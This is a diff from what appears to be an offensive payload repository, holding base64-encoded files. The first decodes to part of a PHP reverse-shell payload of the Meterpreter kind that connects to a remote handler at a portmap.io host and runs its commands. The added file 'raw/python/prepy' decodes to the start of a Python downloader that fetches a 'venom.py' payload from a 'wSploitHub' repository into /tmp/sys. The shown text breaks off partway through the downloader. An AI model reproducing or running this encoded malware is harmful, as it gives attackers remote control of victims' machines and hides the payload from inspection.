dlsndHlwZSddfSIpOyBpZiAoZW1wdHkoJHR5cGUpIHx8ICR0eXBlID09ICgkdGx2Wyd0eXBlJ10g
|
||||
JiB+VExWX01FVEFfVFlQRV9DT01QUkVTU0VEKSkgeyBteV9wcmludCgiRm91bmQgb25lIGF0IG9m
|
||||
ZnNldCAkb2Zmc2V0Iik7IGFycmF5X3B1c2goJGFsbCwgJHRsdik7IH0gJG9mZnNldCArPSAkdGx2
|
||||
WydsZW4nXTsgfSByZXR1cm4gJGFsbDsgfSBmdW5jdGlvbiByZWdpc3Rlcl9zb2NrZXQoJHNvY2ss
|
||||
ICRpcGFkZHI9bnVsbCwgJHBvcnQ9bnVsbCkgeyBnbG9iYWwgJHJlc291cmNlX3R5cGVfbWFwLCAk
|
||||
dWRwX2hvc3RfbWFwOyBteV9wcmludCgiUmVnaXN0ZXJpbmcgc29ja2V0ICRzb2NrIGZvciAoJGlw
|
||||
YWRkcjokcG9ydCkiKTsgJHJlc291cmNlX3R5cGVfbWFwWyhpbnQpJHNvY2tdID0gJ3NvY2tldCc7
|
||||
IGlmICgkaXBhZGRyKSB7ICR1ZHBfaG9zdF9tYXBbKGludCkkc29ja10gPSBhcnJheSgkaXBhZGRy
|
||||
LCAkcG9ydCk7IH0gfSBmdW5jdGlvbiByZWdpc3Rlcl9zdHJlYW0oJHN0cmVhbSwgJGlwYWRkcj1u
|
||||
dWxsLCAkcG9ydD1udWxsKSB7IGdsb2JhbCAkcmVzb3VyY2VfdHlwZV9tYXAsICR1ZHBfaG9zdF9t
|
||||
YXA7IG15X3ByaW50KCJSZWdpc3RlcmluZyBzdHJlYW0gJHN0cmVhbSBmb3IgKCRpcGFkZHI6JHBv
|
||||
cnQpIik7ICRyZXNvdXJjZV90eXBlX21hcFsoaW50KSRzdHJlYW1dID0gJ3N0cmVhbSc7IGlmICgk
|
||||
aXBhZGRyKSB7ICR1ZHBfaG9zdF9tYXBbKGludCkkc3RyZWFtXSA9IGFycmF5KCRpcGFkZHIsICRw
|
||||
b3J0KTsgfSB9IGZ1bmN0aW9uIGNvbm5lY3QoJGlwYWRkciwgJHBvcnQsICRwcm90bz0ndGNwJykg
|
||||
eyBteV9wcmludCgiRG9pbmcgY29ubmVjdCgkaXBhZGRyLCAkcG9ydCkiKTsgJHNvY2sgPSBmYWxz
|
||||
ZTsgJGlwZiA9IFdJTl9BRl9JTkVUOyAkcmF3X2lwID0gJGlwYWRkcjsgaWYgKEZBTFNFICE9PSBz
|
||||
dHJwb3MoJGlwYWRkciwgIjoiKSkgeyAkaXBmID0gV0lOX0FGX0lORVQ2OyAkaXBhZGRyID0gIlsi
|
||||
LiAkcmF3X2lwIC4iXSI7IH0gaWYgKGlzX2NhbGxhYmxlKCdzdHJlYW1fc29ja2V0X2NsaWVudCcp
|
||||
KSB7IG15X3ByaW50KCJzdHJlYW1fc29ja2V0X2NsaWVudCh7JHByb3RvfTovL3skaXBhZGRyfTp7
|
||||
JHBvcnR9KSIpOyBpZiAoJHByb3RvID09ICdzc2wnKSB7ICRzb2NrID0gc3RyZWFtX3NvY2tldF9j
|
||||
bGllbnQoInNzbDovL3skaXBhZGRyfTp7JHBvcnR9IiwgJGVycm5vLCAkZXJyc3RyLCA1LCBTVFJF
|
||||
QU1fQ0xJRU5UX0FTWU5DX0NPTk5FQ1QpOyBpZiAoISRzb2NrKSB7IHJldHVybiBmYWxzZTsgfSBz
|
||||
dHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsgcmVnaXN0ZXJfc3RyZWFtKCRzb2NrKTsgfSBl
|
||||
bHNlaWYgKCRwcm90byA9PSAndGNwJykgeyAkc29jayA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KCJ0
|
||||
Y3A6Ly97JGlwYWRkcn06eyRwb3J0fSIpOyBpZiAoISRzb2NrKSB7IHJldHVybiBmYWxzZTsgfSBy
|
||||
ZWdpc3Rlcl9zdHJlYW0oJHNvY2spOyB9IGVsc2VpZiAoJHByb3RvID09ICd1ZHAnKSB7ICRzb2Nr
|
||||
ID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInVkcDovL3skaXBhZGRyfTp7JHBvcnR9Iik7IGlmICgh
|
||||
JHNvY2spIHsgcmV0dXJuIGZhbHNlOyB9IHJlZ2lzdGVyX3N0cmVhbSgkc29jaywgJGlwYWRkciwg
|
||||
JHBvcnQpOyB9IH0gZWxzZSBpZiAoaXNfY2FsbGFibGUoJ2Zzb2Nrb3BlbicpKSB7IG15X3ByaW50
|
||||
KCJmc29ja29wZW4iKTsgaWYgKCRwcm90byA9PSAnc3NsJykgeyAkc29jayA9IGZzb2Nrb3Blbigi
|
||||
c3NsOi8veyRpcGFkZHJ9OnskcG9ydH0iKTsgc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7
|
||||
IHJlZ2lzdGVyX3N0cmVhbSgkc29jayk7IH0gZWxzZWlmICgkcHJvdG8gPT0gJ3RjcCcpIHsgJHNv
|
||||
Y2sgPSBmc29ja29wZW4oJGlwYWRkciwgJHBvcnQpOyBpZiAoISRzb2NrKSB7IHJldHVybiBmYWxz
|
||||
ZTsgfSBpZiAoaXNfY2FsbGFibGUoJ3NvY2tldF9zZXRfdGltZW91dCcpKSB7IHNvY2tldF9zZXRf
|
||||
dGltZW91dCgkc29jaywgMik7IH0gcmVnaXN0ZXJfc3RyZWFtKCRzb2NrKTsgfSBlbHNlIHsgJHNv
|
||||
Y2sgPSBmc29ja29wZW4oJHByb3RvLiI6Ly8iLiRpcGFkZHIsJHBvcnQpOyBpZiAoISRzb2NrKSB7
|
||||
IHJldHVybiBmYWxzZTsgfSByZWdpc3Rlcl9zdHJlYW0oJHNvY2ssICRpcGFkZHIsICRwb3J0KTsg
|
||||
fSB9IGVsc2UgaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpIHsgbXlfcHJpbnQoInNv
|
||||
Y2tldF9jcmVhdGUiKTsgaWYgKCRwcm90byA9PSAndGNwJykgeyAkc29jayA9IHNvY2tldF9jcmVh
|
||||
dGUoJGlwZiwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gc29ja2V0X2Nvbm5lY3QoJHNv
|
||||
Y2ssICRyYXdfaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IHJldHVybiBmYWxzZTsgfSByZWdpc3Rl
|
||||
cl9zb2NrZXQoJHNvY2spOyB9IGVsc2VpZiAoJHByb3RvID09ICd1ZHAnKSB7ICRzb2NrID0gc29j
|
||||
a2V0X2NyZWF0ZSgkaXBmLCBTT0NLX0RHUkFNLCBTT0xfVURQKTsgcmVnaXN0ZXJfc29ja2V0KCRz
|
||||
b2NrLCAkcmF3X2lwLCAkcG9ydCk7IH0gfSByZXR1cm4gJHNvY2s7IH0gZnVuY3Rpb24gZW9mKCRy
|
||||
ZXNvdXJjZSkgeyAkcmV0ID0gZmFsc2U7IHN3aXRjaCAoZ2V0X3J0eXBlKCRyZXNvdXJjZSkpIHsg
|
||||
Y2FzZSAnc29ja2V0JzogYnJlYWs7IGNhc2UgJ3N0cmVhbSc6ICRyZXQgPSBmZW9mKCRyZXNvdXJj
|
||||
ZSk7IGJyZWFrOyB9IHJldHVybiAkcmV0OyB9IGZ1bmN0aW9uIGNsb3NlKCRyZXNvdXJjZSkgeyBt
|
||||
eV9wcmludCgiQ2xvc2luZyByZXNvdXJjZSAkcmVzb3VyY2UiKTsgZ2xvYmFsICRyZXNvdXJjZV90
|
||||
eXBlX21hcCwgJHVkcF9ob3N0X21hcDsgcmVtb3ZlX3JlYWRlcigkcmVzb3VyY2UpOyBzd2l0Y2gg
|
||||
KGdldF9ydHlwZSgkcmVzb3VyY2UpKSB7IGNhc2UgJ3NvY2tldCc6ICRyZXQgPSBzb2NrZXRfY2xv
|
||||
c2UoJHJlc291cmNlKTsgYnJlYWs7IGNhc2UgJ3N0cmVhbSc6ICRyZXQgPSBmY2xvc2UoJHJlc291
|
||||
cmNlKTsgYnJlYWs7IH0gaWYgKGFycmF5X2tleV9leGlzdHMoKGludCkkcmVzb3VyY2UsICRyZXNv
|
||||
dXJjZV90eXBlX21hcCkpIHsgdW5zZXQoJHJlc291cmNlX3R5cGVfbWFwWyhpbnQpJHJlc291cmNl
|
||||
XSk7IH0gaWYgKGFycmF5X2tleV9leGlzdHMoKGludCkkcmVzb3VyY2UsICR1ZHBfaG9zdF9tYXAp
|
||||
KSB7IG15X3ByaW50KCJSZW1vdmluZyAkcmVzb3VyY2UgZnJvbSB1ZHBfaG9zdF9tYXAiKTsgdW5z
|
||||
ZXQoJHVkcF9ob3N0X21hcFsoaW50KSRyZXNvdXJjZV0pOyB9IHJldHVybiAkcmV0OyB9IGZ1bmN0
|
||||
aW9uIHJlYWQoJHJlc291cmNlLCAkbGVuPW51bGwpIHsgZ2xvYmFsICR1ZHBfaG9zdF9tYXA7IGlm
|
||||
IChpc19udWxsKCRsZW4pKSB7ICRsZW4gPSA4MTkyOyB9ICRidWZmID0gJyc7IHN3aXRjaCAoZ2V0
|
||||
X3J0eXBlKCRyZXNvdXJjZSkpIHsgY2FzZSAnc29ja2V0JzogaWYgKGFycmF5X2tleV9leGlzdHMo
|
||||
KGludCkkcmVzb3VyY2UsICR1ZHBfaG9zdF9tYXApKSB7IG15X3ByaW50KCJSZWFkaW5nIFVEUCBz
|
||||
b2NrZXQiKTsgbGlzdCgkaG9zdCwkcG9ydCkgPSAkdWRwX2hvc3RfbWFwWyhpbnQpJHJlc291cmNl
|
||||
XTsgc29ja2V0X3JlY3Zmcm9tKCRyZXNvdXJjZSwgJGJ1ZmYsICRsZW4sIFBIUF9CSU5BUllfUkVB
|
||||
RCwgJGhvc3QsICRwb3J0KTsgfSBlbHNlIHsgbXlfcHJpbnQoIlJlYWRpbmcgVENQIHNvY2tldCIp
|
||||
OyAkYnVmZiAuPSBzb2NrZXRfcmVhZCgkcmVzb3VyY2UsICRsZW4sIFBIUF9CSU5BUllfUkVBRCk7
|
||||
IH0gYnJlYWs7IGNhc2UgJ3N0cmVhbSc6IGdsb2JhbCAkbXNnc29jazsgJHIgPSBBcnJheSgkcmVz
|
||||
b3VyY2UpOyBteV9wcmludCgiQ2FsbGluZyBzZWxlY3QgdG8gc2VlIGlmIHRoZXJlJ3MgZGF0YSBv
|
||||
biAkcmVzb3VyY2UiKTsgJGxhc3RfcmVxdWVzdGVkX2xlbiA9IDA7IHdoaWxlICh0cnVlKSB7ICR3
|
||||
PU5VTEw7JGU9TlVMTDskdD0wOyAkY250ID0gc3RyZWFtX3NlbGVjdCgkciwgJHcsICRlLCAkdCk7
|
||||
IGlmICgkY250ID09PSAwKSB7IGJyZWFrOyB9IGlmICgkY250ID09PSBmYWxzZSBvciBmZW9mKCRy
|
||||
ZXNvdXJjZSkpIHsgbXlfcHJpbnQoIkNoZWNraW5nIGZvciBmYWlsZWQgcmVhZC4uLiIpOyBpZiAo
|
||||
ZW1wdHkoJGJ1ZmYpKSB7IG15X3ByaW50KCItLS0tIEVPRiBPTiAkcmVzb3VyY2UgLS0tLSIpOyAk
|
||||
YnVmZiA9IGZhbHNlOyB9IGJyZWFrOyB9ICRtZCA9IHN0cmVhbV9nZXRfbWV0YV9kYXRhKCRyZXNv
|
||||
dXJjZSk7IGR1bXBfYXJyYXkoJG1kLCAiTWV0YWRhdGEgZm9yIHskcmVzb3VyY2V9Iik7IGlmICgk
|
||||
bWRbJ3VucmVhZF9ieXRlcyddID4gMCkgeyAkbGFzdF9yZXF1ZXN0ZWRfbGVuID0gbWluKCRsZW4s
|
||||
ICRtZFsndW5yZWFkX2J5dGVzJ10pOyAkYnVmZiAuPSBmcmVhZCgkcmVzb3VyY2UsICRsYXN0X3Jl
|
||||
cXVlc3RlZF9sZW4pOyBicmVhazsgfSBlbHNlIHsgJHRtcCA9IGZyZWFkKCRyZXNvdXJjZSwgJGxl
|
||||
bik7ICRsYXN0X3JlcXVlc3RlZF9sZW4gPSAkbGVuOyAkYnVmZiAuPSAkdG1wOyBpZiAoc3RybGVu
|
||||
KCR0bXApIDwgJGxlbikgeyBicmVhazsgfSB9IGlmICgkcmVzb3VyY2UgIT0gJG1zZ3NvY2spIHsg
|
||||
bXlfcHJpbnQoImJ1ZmY6ICckYnVmZiciKTsgfSAkciA9IEFycmF5KCRyZXNvdXJjZSk7IH0gbXlf
|
||||
cHJpbnQoc3ByaW50ZigiRG9uZSB3aXRoIHRoZSBiaWcgcmVhZCBsb29wIG9uICRyZXNvdXJjZSwg
|
||||
Z290ICVkIGJ5dGVzLCBhc2tlZCBmb3IgJWQgYnl0ZXMiLCBzdHJsZW4oJGJ1ZmYpLCAkbGFzdF9y
|
||||
ZXF1ZXN0ZWRfbGVuKSk7IGJyZWFrOyBkZWZhdWx0OiAkY2lkID0gZ2V0X2NoYW5uZWxfaWRfZnJv
|
||||
bV9yZXNvdXJjZSgkcmVzb3VyY2UpOyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRjaWQpOyBpZiAo
|
||||
JGMgYW5kICRjWydkYXRhJ10pIHsgJGJ1ZmYgPSBzdWJzdHIoJGNbJ2RhdGEnXSwgMCwgJGxlbik7
|
||||
ICRjWydkYXRhJ10gPSBzdWJzdHIoJGNbJ2RhdGEnXSwgJGxlbik7IG15X3ByaW50KCJBaGEhIGdv
|
||||
dCBzb21lIGxlZnRvdmVycyIpOyB9IGVsc2UgeyBteV9wcmludCgiV3RmIGRvbid0IGtub3cgaG93
|
||||
IHRvIHJlYWQgZnJvbSByZXNvdXJjZSAkcmVzb3VyY2UsIGM6ICRjIik7IGlmIChpc19hcnJheSgk
|
||||
YykpIHsgZHVtcF9hcnJheSgkYyk7IH0gYnJlYWs7IH0gfSBteV9wcmludChzcHJpbnRmKCJSZWFk
|
||||
ICVkIGJ5dGVzIiwgc3RybGVuKCRidWZmKSkpOyByZXR1cm4gJGJ1ZmY7IH0gZnVuY3Rpb24gd3Jp
|
||||
dGUoJHJlc291cmNlLCAkYnVmZiwgJGxlbj0wKSB7IGdsb2JhbCAkdWRwX2hvc3RfbWFwOyBpZiAo
|
||||
JGxlbiA9PSAwKSB7ICRsZW4gPSBzdHJsZW4oJGJ1ZmYpOyB9ICRjb3VudCA9IGZhbHNlOyBzd2l0
|
||||
Y2ggKGdldF9ydHlwZSgkcmVzb3VyY2UpKSB7IGNhc2UgJ3NvY2tldCc6IGlmIChhcnJheV9rZXlf
|
||||
ZXhpc3RzKChpbnQpJHJlc291cmNlLCAkdWRwX2hvc3RfbWFwKSkgeyBteV9wcmludCgiV3JpdGlu
|
||||
ZyBVRFAgc29ja2V0Iik7IGxpc3QoJGhvc3QsJHBvcnQpID0gJHVkcF9ob3N0X21hcFsoaW50KSRy
|
||||
ZXNvdXJjZV07ICRjb3VudCA9IHNvY2tldF9zZW5kdG8oJHJlc291cmNlLCAkYnVmZiwgJGxlbiwg
|
||||
JGhvc3QsICRwb3J0KTsgfSBlbHNlIHsgJGNvdW50ID0gc29ja2V0X3dyaXRlKCRyZXNvdXJjZSwg
|
||||
JGJ1ZmYsICRsZW4pOyB9IGJyZWFrOyBjYXNlICdzdHJlYW0nOiAkY291bnQgPSBmd3JpdGUoJHJl
|
||||
c291cmNlLCAkYnVmZiwgJGxlbik7IGZmbHVzaCgkcmVzb3VyY2UpOyBicmVhazsgZGVmYXVsdDog
|
||||
bXlfcHJpbnQoIld0ZiBkb24ndCBrbm93IGhvdyB0byB3cml0ZSB0byByZXNvdXJjZSAkcmVzb3Vy
|
||||
Y2UiKTsgYnJlYWs7IH0gcmV0dXJuICRjb3VudDsgfSBmdW5jdGlvbiBnZXRfcnR5cGUoJHJlc291
|
||||
cmNlKSB7IGdsb2JhbCAkcmVzb3VyY2VfdHlwZV9tYXA7IGlmIChhcnJheV9rZXlfZXhpc3RzKChp
|
||||
bnQpJHJlc291cmNlLCAkcmVzb3VyY2VfdHlwZV9tYXApKSB7IHJldHVybiAkcmVzb3VyY2VfdHlw
|
||||
ZV9tYXBbKGludCkkcmVzb3VyY2VdOyB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiBzZWxlY3Qo
|
||||
JiRyLCAmJHcsICYkZSwgJHR2X3NlYz0wLCAkdHZfdXNlYz0wKSB7ICRzdHJlYW1zX3IgPSBhcnJh
|
||||
eSgpOyAkc3RyZWFtc193ID0gYXJyYXkoKTsgJHN0cmVhbXNfZSA9IGFycmF5KCk7ICRzb2NrZXRz
|
||||
X3IgPSBhcnJheSgpOyAkc29ja2V0c193ID0gYXJyYXkoKTsgJHNvY2tldHNfZSA9IGFycmF5KCk7
|
||||
IGlmICgkcikgeyBmb3JlYWNoICgkciBhcyAkcmVzb3VyY2UpIHsgc3dpdGNoIChnZXRfcnR5cGUo
|
||||
JHJlc291cmNlKSkgeyBjYXNlICdzb2NrZXQnOiAkc29ja2V0c19yW10gPSAkcmVzb3VyY2U7IGJy
|
||||
ZWFrOyBjYXNlICdzdHJlYW0nOiAkc3RyZWFtc19yW10gPSAkcmVzb3VyY2U7IGJyZWFrOyBkZWZh
|
||||
dWx0OiBteV9wcmludCgiVW5rbm93biByZXNvdXJjZSB0eXBlIik7IGJyZWFrOyB9IH0gfSBpZiAo
|
||||
JHcpIHsgZm9yZWFjaCAoJHcgYXMgJHJlc291cmNlKSB7IHN3aXRjaCAoZ2V0X3J0eXBlKCRyZXNv
|
||||
dXJjZSkpIHsgY2FzZSAnc29ja2V0JzogJHNvY2tldHNfd1tdID0gJHJlc291cmNlOyBicmVhazsg
|
||||
Y2FzZSAnc3RyZWFtJzogJHN0cmVhbXNfd1tdID0gJHJlc291cmNlOyBicmVhazsgZGVmYXVsdDog
|
||||
bXlfcHJpbnQoIlVua25vd24gcmVzb3VyY2UgdHlwZSIpOyBicmVhazsgfSB9IH0gaWYgKCRlKSB7
|
||||
IGZvcmVhY2ggKCRlIGFzICRyZXNvdXJjZSkgeyBzd2l0Y2ggKGdldF9ydHlwZSgkcmVzb3VyY2Up
|
||||
KSB7IGNhc2UgJ3NvY2tldCc6ICRzb2NrZXRzX2VbXSA9ICRyZXNvdXJjZTsgYnJlYWs7IGNhc2Ug
|
||||
J3N0cmVhbSc6ICRzdHJlYW1zX2VbXSA9ICRyZXNvdXJjZTsgYnJlYWs7IGRlZmF1bHQ6IG15X3By
|
||||
aW50KCJVbmtub3duIHJlc291cmNlIHR5cGUiKTsgYnJlYWs7IH0gfSB9ICRuX3NvY2tldHMgPSBj
|
||||
b3VudCgkc29ja2V0c19yKSArIGNvdW50KCRzb2NrZXRzX3cpICsgY291bnQoJHNvY2tldHNfZSk7
|
||||
ICRuX3N0cmVhbXMgPSBjb3VudCgkc3RyZWFtc19yKSArIGNvdW50KCRzdHJlYW1zX3cpICsgY291
|
||||
bnQoJHN0cmVhbXNfZSk7ICRyID0gYXJyYXkoKTsgJHcgPSBhcnJheSgpOyAkZSA9IGFycmF5KCk7
|
||||
IGlmIChjb3VudCgkc29ja2V0c19yKT09MCkgeyAkc29ja2V0c19yID0gbnVsbDsgfSBpZiAoY291
|
||||
bnQoJHNvY2tldHNfdyk9PTApIHsgJHNvY2tldHNfdyA9IG51bGw7IH0gaWYgKGNvdW50KCRzb2Nr
|
||||
ZXRzX2UpPT0wKSB7ICRzb2NrZXRzX2UgPSBudWxsOyB9IGlmIChjb3VudCgkc3RyZWFtc19yKT09
|
||||
MCkgeyAkc3RyZWFtc19yID0gbnVsbDsgfSBpZiAoY291bnQoJHN0cmVhbXNfdyk9PTApIHsgJHN0
|
||||
cmVhbXNfdyA9IG51bGw7IH0gaWYgKGNvdW50KCRzdHJlYW1zX2UpPT0wKSB7ICRzdHJlYW1zX2Ug
|
||||
PSBudWxsOyB9ICRjb3VudCA9IDA7IGlmICgkbl9zb2NrZXRzID4gMCkgeyAkcmVzID0gc29ja2V0
|
||||
X3NlbGVjdCgkc29ja2V0c19yLCAkc29ja2V0c193LCAkc29ja2V0c19lLCAkdHZfc2VjLCAkdHZf
|
||||
dXNlYyk7IGlmIChmYWxzZSA9PT0gJHJlcykgeyByZXR1cm4gZmFsc2U7IH0gaWYgKGlzX2FycmF5
|
||||
KCRyKSAmJiBpc19hcnJheSgkc29ja2V0c19yKSkgeyAkciA9IGFycmF5X21lcmdlKCRyLCAkc29j
|
||||
a2V0c19yKTsgfSBpZiAoaXNfYXJyYXkoJHcpICYmIGlzX2FycmF5KCRzb2NrZXRzX3cpKSB7ICR3
|
||||
ID0gYXJyYXlfbWVyZ2UoJHcsICRzb2NrZXRzX3cpOyB9IGlmIChpc19hcnJheSgkZSkgJiYgaXNf
|
||||
YXJyYXkoJHNvY2tldHNfZSkpIHsgJGUgPSBhcnJheV9tZXJnZSgkZSwgJHNvY2tldHNfZSk7IH0g
|
||||
JGNvdW50ICs9ICRyZXM7IH0gaWYgKCRuX3N0cmVhbXMgPiAwKSB7ICRyZXMgPSBzdHJlYW1fc2Vs
|
||||
ZWN0KCRzdHJlYW1zX3IsICRzdHJlYW1zX3csICRzdHJlYW1zX2UsICR0dl9zZWMsICR0dl91c2Vj
|
||||
KTsgaWYgKGZhbHNlID09PSAkcmVzKSB7IHJldHVybiBmYWxzZTsgfSBpZiAoaXNfYXJyYXkoJHIp
|
||||
ICYmIGlzX2FycmF5KCRzdHJlYW1zX3IpKSB7ICRyID0gYXJyYXlfbWVyZ2UoJHIsICRzdHJlYW1z
|
||||
X3IpOyB9IGlmIChpc19hcnJheSgkdykgJiYgaXNfYXJyYXkoJHN0cmVhbXNfdykpIHsgJHcgPSBh
|
||||
cnJheV9tZXJnZSgkdywgJHN0cmVhbXNfdyk7IH0gaWYgKGlzX2FycmF5KCRlKSAmJiBpc19hcnJh
|
||||
eSgkc3RyZWFtc19lKSkgeyAkZSA9IGFycmF5X21lcmdlKCRlLCAkc3RyZWFtc19lKTsgfSAkY291
|
||||
bnQgKz0gJHJlczsgfSByZXR1cm4gJGNvdW50OyB9IGZ1bmN0aW9uIGFkZF9yZWFkZXIoJHJlc291
|
||||
cmNlKSB7IGdsb2JhbCAkcmVhZGVyczsgaWYgKGlzX3Jlc291cmNlKCRyZXNvdXJjZSkgJiYgIWlu
|
||||
X2FycmF5KCRyZXNvdXJjZSwgJHJlYWRlcnMpKSB7ICRyZWFkZXJzW10gPSAkcmVzb3VyY2U7IH0g
|
||||
fSBmdW5jdGlvbiByZW1vdmVfcmVhZGVyKCRyZXNvdXJjZSkgeyBnbG9iYWwgJHJlYWRlcnM7IGlm
|
||||
IChpbl9hcnJheSgkcmVzb3VyY2UsICRyZWFkZXJzKSkgeyBmb3JlYWNoICgkcmVhZGVycyBhcyAk
|
||||
a2V5ID0+ICRyKSB7IGlmICgkciA9PSAkcmVzb3VyY2UpIHsgdW5zZXQoJHJlYWRlcnNbJGtleV0p
|
||||
OyB9IH0gfSB9IG9iX2ltcGxpY2l0X2ZsdXNoKCk7IGlmIChNWV9ERUJVR0dJTkcpIHsgZXJyb3Jf
|
||||
cmVwb3J0aW5nKEVfQUxMKTsgfSBlbHNlIHsgZXJyb3JfcmVwb3J0aW5nKDApOyB9IEBpZ25vcmVf
|
||||
dXNlcl9hYm9ydCh0cnVlKTsgQHNldF90aW1lX2xpbWl0KDApOyBAaWdub3JlX3VzZXJfYWJvcnQo
|
||||
MSk7IEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAkR0xPQkFMU1snVVVJRCddID0g
|
||||
UEFZTE9BRF9VVUlEOyAkR0xPQkFMU1snU0VTU0lPTl9HVUlEJ10gPSBTRVNTSU9OX0dVSUQ7ICRH
|
||||
TE9CQUxTWydBRVNfS0VZJ10gPSBudWxsOyAkR0xPQkFMU1snQUVTX0VOQUJMRUQnXSA9IGZhbHNl
|
||||
OyBpZiAoIWlzc2V0KCRHTE9CQUxTWydtc2dzb2NrJ10pKSB7ICRpcGFkZHIgPSAnc3lubXNmLTIz
|
||||
OTI3LnBvcnRtYXAuaW8nOyAkcG9ydCA9IDIzOTI3OyBteV9wcmludCgiRG9uJ3QgaGF2ZSBhIG1z
|
||||
Z3NvY2ssIHRyeWluZyB0byBjb25uZWN0KCRpcGFkZHIsICRwb3J0KSIpOyAkbXNnc29jayA9IGNv
|
||||
bm5lY3QoJGlwYWRkciwgJHBvcnQpOyBpZiAoISRtc2dzb2NrKSB7IGRpZSgpOyB9IH0gZWxzZSB7
|
||||
ICRtc2dzb2NrID0gJEdMT0JBTFNbJ21zZ3NvY2snXTsgJG1zZ3NvY2tfdHlwZSA9ICRHTE9CQUxT
|
||||
Wydtc2dzb2NrX3R5cGUnXTsgc3dpdGNoICgkbXNnc29ja190eXBlKSB7IGNhc2UgJ3NvY2tldCc6
|
||||
IHJlZ2lzdGVyX3NvY2tldCgkbXNnc29jayk7IGJyZWFrOyBjYXNlICdzdHJlYW0nOiBkZWZhdWx0
|
||||
OiByZWdpc3Rlcl9zdHJlYW0oJG1zZ3NvY2spOyB9IH0gYWRkX3JlYWRlcigkbXNnc29jayk7ICRy
|
||||
PSRHTE9CQUxTWydyZWFkZXJzJ107ICR3PU5VTEw7JGU9TlVMTDskdD0xOyB3aGlsZSAoZmFsc2Ug
|
||||
IT09ICgkY250ID0gc2VsZWN0KCRyLCAkdywgJGUsICR0KSkpIHsgJHJlYWRfZmFpbGVkID0gZmFs
|
||||
c2U7IGZvciAoJGkgPSAwOyAkaSA8ICRjbnQ7ICRpKyspIHsgJHJlYWR5ID0gJHJbJGldOyBpZiAo
|
||||
JHJlYWR5ID09ICRtc2dzb2NrKSB7ICRwYWNrZXQgPSByZWFkKCRtc2dzb2NrLCAzMik7IG15X3By
|
||||
aW50KHNwcmludGYoIlJlYWQgcmV0dXJuZWQgJXMgYnl0ZXMiLCBzdHJsZW4oJHBhY2tldCkpKTsg
|
||||
aWYgKGZhbHNlPT0kcGFja2V0KSB7IG15X3ByaW50KCJSZWFkIGZhaWxlZCBvbiBtYWluIHNvY2tl
|
||||
dCwgYmFpbGluZyIpOyBicmVhayAyOyB9ICR4b3IgPSBzdWJzdHIoJHBhY2tldCwgMCwgNCk7ICRo
|
||||
ZWFkZXIgPSB4b3JfYnl0ZXMoJHhvciwgc3Vic3RyKCRwYWNrZXQsIDQsIDI4KSk7ICRsZW5fYXJy
|
||||
YXkgPSB1bnBhY2soIk5sZW4iLCBzdWJzdHIoJGhlYWRlciwgMjAsIDQpKTsgJGxlbiA9ICRsZW5f
|
||||
YXJyYXlbJ2xlbiddICsgMzIgLSA4OyB3aGlsZSAoc3RybGVuKCRwYWNrZXQpIDwgJGxlbikgeyAk
|
||||
cGFja2V0IC49IHJlYWQoJG1zZ3NvY2ssICRsZW4tc3RybGVuKCRwYWNrZXQpKTsgfSAkcmVzcG9u
|
||||
c2UgPSBjcmVhdGVfcmVzcG9uc2UoZGVjcnlwdF9wYWNrZXQoeG9yX2J5dGVzKCR4b3IsICRwYWNr
|
||||
ZXQpKSk7IHdyaXRlX3Rsdl90b19zb2NrZXQoJG1zZ3NvY2ssICRyZXNwb25zZSk7IH0gZWxzZSB7
|
||||
ICRkYXRhID0gcmVhZCgkcmVhZHkpOyBpZiAoZmFsc2UgPT09ICRkYXRhKSB7IGhhbmRsZV9kZWFk
|
||||
X3Jlc291cmNlX2NoYW5uZWwoJHJlYWR5KTsgfSBlbHNlaWYgKHN0cmxlbigkZGF0YSkgPiAwKXsg
|
||||
bXlfcHJpbnQoc3ByaW50ZigiUmVhZCByZXR1cm5lZCAlcyBieXRlcyIsIHN0cmxlbigkZGF0YSkp
|
||||
KTsgJHJlcXVlc3QgPSBoYW5kbGVfcmVzb3VyY2VfcmVhZF9jaGFubmVsKCRyZWFkeSwgJGRhdGEp
|
||||
OyBpZiAoJHJlcXVlc3QpIHsgd3JpdGVfdGx2X3RvX3NvY2tldCgkbXNnc29jaywgJHJlcXVlc3Qp
|
||||
OyB9IH0gfSB9ICRyID0gJEdMT0JBTFNbJ3JlYWRlcnMnXTsgfSBteV9wcmludCgiRmluaXNoZWQi
|
||||
KTsgbXlfcHJpbnQoIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7IGNsb3NlKCRtc2dzb2NrKTs=
|
54
raw/python/prepy
Normal file
54
raw/python/prepy
Normal file
@ -0,0 +1,54 @@
|
||||
aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCB0aW1lCgojIFVSTCB1bnR1ayBtZW5n
|
||||
dW5kdWggdmVub20ucHkKcGF5bG9hZF91cmwgPSAnaHR0cHM6Ly9naXQud2FyY2V1cHJvamVjdC5v
|
||||
cmcvc3luL3dTcGxvaXRIdWIvcmF3L2JyYW5jaC9tYWluL3BheWxvYWQvbXNmL3B5dGhvbi92ZW5v
|
||||
bS5weScKCiMgRGlyZWt0b3JpIHR1anVhbiB1bnR1ayBtZW55aW1wYW4gcGF5bG9hZApwYXlsb2Fk
|
||||
X3BhdGggPSAnL3RtcC9zeXMnCgojIEZ1bmdzaSB1bnR1ayBtZW5qYWxhbmthbiBwZXJpbnRhaCBk
|
||||
YW4gbWVtZXJpa3NhIGV4aXQgY29kZQpkZWYgcnVuX2NvbW1hbmQoKToKICAgICMgUGVyaWtzYSBh
|
||||
cGFrYWggZmlsZSB2ZW5vbS5weSBhZGEgZGkgbG9rYXNpIHR1anVhbgogICAgaWYgbm90IG9zLnBh
|
||||
dGguZXhpc3RzKHBheWxvYWRfcGF0aCk6CiAgICAgICAgcHJpbnQoIlsqXSBQYXlsb2FkIHRpZGFr
|
||||
IGRpdGVtdWthbi4gTWVuZ3VuZHVoLi4uIikKICAgICAgICBkb3dubG9hZF9wYXlsb2FkKCkKICAg
|
||||
